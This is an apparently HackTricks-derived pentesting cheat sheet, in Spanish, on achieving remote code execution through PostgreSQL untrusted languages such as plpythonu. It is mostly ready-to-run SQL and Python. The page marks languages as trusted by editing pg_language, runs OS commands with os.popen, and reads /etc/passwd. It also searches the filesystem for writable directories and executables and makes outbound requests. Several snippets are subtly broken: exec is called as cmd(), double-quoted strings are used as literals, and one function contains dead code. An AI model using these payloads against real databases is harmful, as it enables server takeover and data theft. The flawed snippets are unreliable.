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303 lines
6.7 KiB
Markdown
303 lines
6.7 KiB
Markdown
# RCE con lenguajes de PostgreSQL
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{{#include ../../../banners/hacktricks-training.md}}
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## Lenguajes de PostgreSQL
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La base de datos PostgreSQL a la que tienes acceso puede tener diferentes **lenguajes de scripting instalados** que podrías abusar para **ejecutar código arbitrario**.
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Puedes **hacerlos funcionar**:
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```sql
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\dL *
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SELECT lanname,lanpltrusted,lanacl FROM pg_language;
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```
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La mayoría de los lenguajes de scripting que puedes instalar en PostgreSQL tienen **2 sabores**: el **confiable** y el **no confiable**. El **no confiable** tendrá un nombre **terminado en "u"** y será la versión que te permitirá **ejecutar código** y usar otras funciones interesantes. Estos son lenguajes que, si están instalados, son interesantes:
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- **plpythonu**
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- **plpython3u**
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- **plperlu**
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- **pljavaU**
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- **plrubyu**
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- ... (cualquier otro lenguaje de programación que use una versión insegura)
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> [!WARNING]
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> Si encuentras que un lenguaje interesante está **instalado** pero **no confiable** por PostgreSQL (**`lanpltrusted`** es **`false`**) puedes intentar **confiarlo** con la siguiente línea para que no se apliquen restricciones por parte de PostgreSQL:
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>
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> ```sql
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> UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
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> # Para verificar tus permisos sobre la tabla pg_language
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> SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';
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> ```
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> [!CAUTION]
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> Si no ves un lenguaje, podrías intentar cargarlo con (**necesitas ser superadministrador**):
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>
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> ```
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> CREATE EXTENSION plpythonu;
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> CREATE EXTENSION plpython3u;
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> CREATE EXTENSION plperlu;
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> CREATE EXTENSION pljavaU;
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> CREATE EXTENSION plrubyu;
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> ```
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Ten en cuenta que es posible compilar las versiones seguras como "inseguras". Consulta [**esto**](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html) por ejemplo. Así que siempre vale la pena intentar si puedes ejecutar código incluso si solo encuentras instalada la **confiable**.
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## plpythonu/plpython3u
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{{#tabs}}
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{{#tab name="RCE"}}
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```sql
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CREATE OR REPLACE FUNCTION exec (cmd text)
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RETURNS VARCHAR(65535) stable
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AS $$
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import os
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return os.popen(cmd).read()
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#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
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$$
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LANGUAGE 'plpythonu';
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SELECT cmd("ls"); #RCE with popen or execve
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```
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{{#endtab}}
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{{#tab name="Obtener usuario del sistema operativo"}}
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```sql
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CREATE OR REPLACE FUNCTION get_user (pkg text)
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RETURNS VARCHAR(65535) stable
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AS $$
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import os
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return os.getlogin()
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$$
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LANGUAGE 'plpythonu';
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SELECT get_user(""); #Get user, para is useless
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```
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{{#endtab}}
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{{#tab name="List dir"}}
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```sql
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CREATE OR REPLACE FUNCTION lsdir (dir text)
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RETURNS VARCHAR(65535) stable
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AS $$
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import json
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from os import walk
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files = next(walk(dir), (None, None, []))
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return json.dumps({"root": files[0], "dirs": files[1], "files": files[2]})[:65535]
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$$
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LANGUAGE 'plpythonu';
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SELECT lsdir("/"); #List dir
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```
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{{#endtab}}
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{{#tab name="Encontrar la carpeta W"}}
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```sql
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CREATE OR REPLACE FUNCTION findw (dir text)
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RETURNS VARCHAR(65535) stable
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AS $$
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import os
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def my_find(path):
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writables = []
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def find_writable(path):
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if not os.path.isdir(path):
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return
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if os.access(path, os.W_OK):
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writables.append(path)
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if not os.listdir(path):
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return
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else:
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for item in os.listdir(path):
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find_writable(os.path.join(path, item))
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find_writable(path)
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return writables
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return ", ".join(my_find(dir))
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$$
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LANGUAGE 'plpythonu';
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SELECT findw("/"); #Find Writable folders from a folder (recursively)
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```
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{{#endtab}}
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{{#tab name="Encontrar Archivo"}}
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```sql
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CREATE OR REPLACE FUNCTION find_file (exe_sea text)
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RETURNS VARCHAR(65535) stable
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AS $$
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import os
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def my_find(path):
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executables = []
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def find_executables(path):
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if not os.path.isdir(path):
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executables.append(path)
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if os.path.isdir(path):
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if not os.listdir(path):
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return
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else:
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for item in os.listdir(path):
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find_executables(os.path.join(path, item))
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find_executables(path)
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return executables
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a = my_find("/")
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b = []
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for i in a:
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if exe_sea in os.path.basename(i):
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b.append(i)
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return ", ".join(b)
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$$
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LANGUAGE 'plpythonu';
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SELECT find_file("psql"); #Find a file
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```
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{{#endtab}}
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{{#tab name="Encontrar ejecutables"}}
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```sql
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CREATE OR REPLACE FUNCTION findx (dir text)
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RETURNS VARCHAR(65535) stable
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AS $$
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import os
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def my_find(path):
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executables = []
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def find_executables(path):
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if not os.path.isdir(path) and os.access(path, os.X_OK):
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executables.append(path)
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if os.path.isdir(path):
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if not os.listdir(path):
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return
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else:
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for item in os.listdir(path):
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find_executables(os.path.join(path, item))
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find_executables(path)
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return executables
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a = my_find(dir)
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b = []
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for i in a:
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b.append(os.path.basename(i))
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return ", ".join(b)
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$$
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LANGUAGE 'plpythonu';
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SELECT findx("/"); #Find an executables in folder (recursively)
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```
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{{#endtab}}
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{{#tab name="Encontrar exec por subs"}}
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```sql
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CREATE OR REPLACE FUNCTION find_exe (exe_sea text)
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RETURNS VARCHAR(65535) stable
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AS $$
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import os
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def my_find(path):
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executables = []
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def find_executables(path):
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if not os.path.isdir(path) and os.access(path, os.X_OK):
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executables.append(path)
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if os.path.isdir(path):
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if not os.listdir(path):
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return
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else:
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for item in os.listdir(path):
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find_executables(os.path.join(path, item))
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find_executables(path)
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return executables
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a = my_find("/")
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b = []
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for i in a:
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if exe_sea in i:
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b.append(i)
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return ", ".join(b)
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$$
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LANGUAGE 'plpythonu';
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SELECT find_exe("psql"); #Find executable by susbstring
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```
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{{#endtab}}
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{{#tab name="Leer"}}
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```sql
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CREATE OR REPLACE FUNCTION read (path text)
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RETURNS VARCHAR(65535) stable
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AS $$
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import base64
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encoded_string= base64.b64encode(open(path).read())
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return encoded_string.decode('utf-8')
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return open(path).read()
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$$
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LANGUAGE 'plpythonu';
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select read('/etc/passwd'); #Read a file in b64
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```
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{{#endtab}}
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{{#tab name="Obtener permisos"}}
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```sql
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CREATE OR REPLACE FUNCTION get_perms (path text)
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RETURNS VARCHAR(65535) stable
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AS $$
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import os
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status = os.stat(path)
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perms = oct(status.st_mode)[-3:]
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return str(perms)
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$$
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LANGUAGE 'plpythonu';
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select get_perms("/etc/passwd"); # Get perms of file
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```
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{{#endtab}}
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{{#tab name="Request"}}
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```sql
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CREATE OR REPLACE FUNCTION req2 (url text)
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RETURNS VARCHAR(65535) stable
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AS $$
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import urllib
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r = urllib.urlopen(url)
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return r.read()
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$$
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LANGUAGE 'plpythonu';
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SELECT req2('https://google.com'); #Request using python2
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CREATE OR REPLACE FUNCTION req3 (url text)
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RETURNS VARCHAR(65535) stable
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AS $$
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from urllib import request
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r = request.urlopen(url)
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return r.read()
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$$
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LANGUAGE 'plpythonu';
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SELECT req3('https://google.com'); #Request using python3
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```
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{{#endtab}}
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{{#endtabs}}
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## pgSQL
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Consulta la siguiente página:
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{{#ref}}
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pl-pgsql-password-bruteforce.md
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{{#endref}}
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## C
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Consulta la siguiente página:
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{{#ref}}
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rce-with-postgresql-extensions.md
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{{#endref}}
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{{#include ../../../banners/hacktricks-training.md}}
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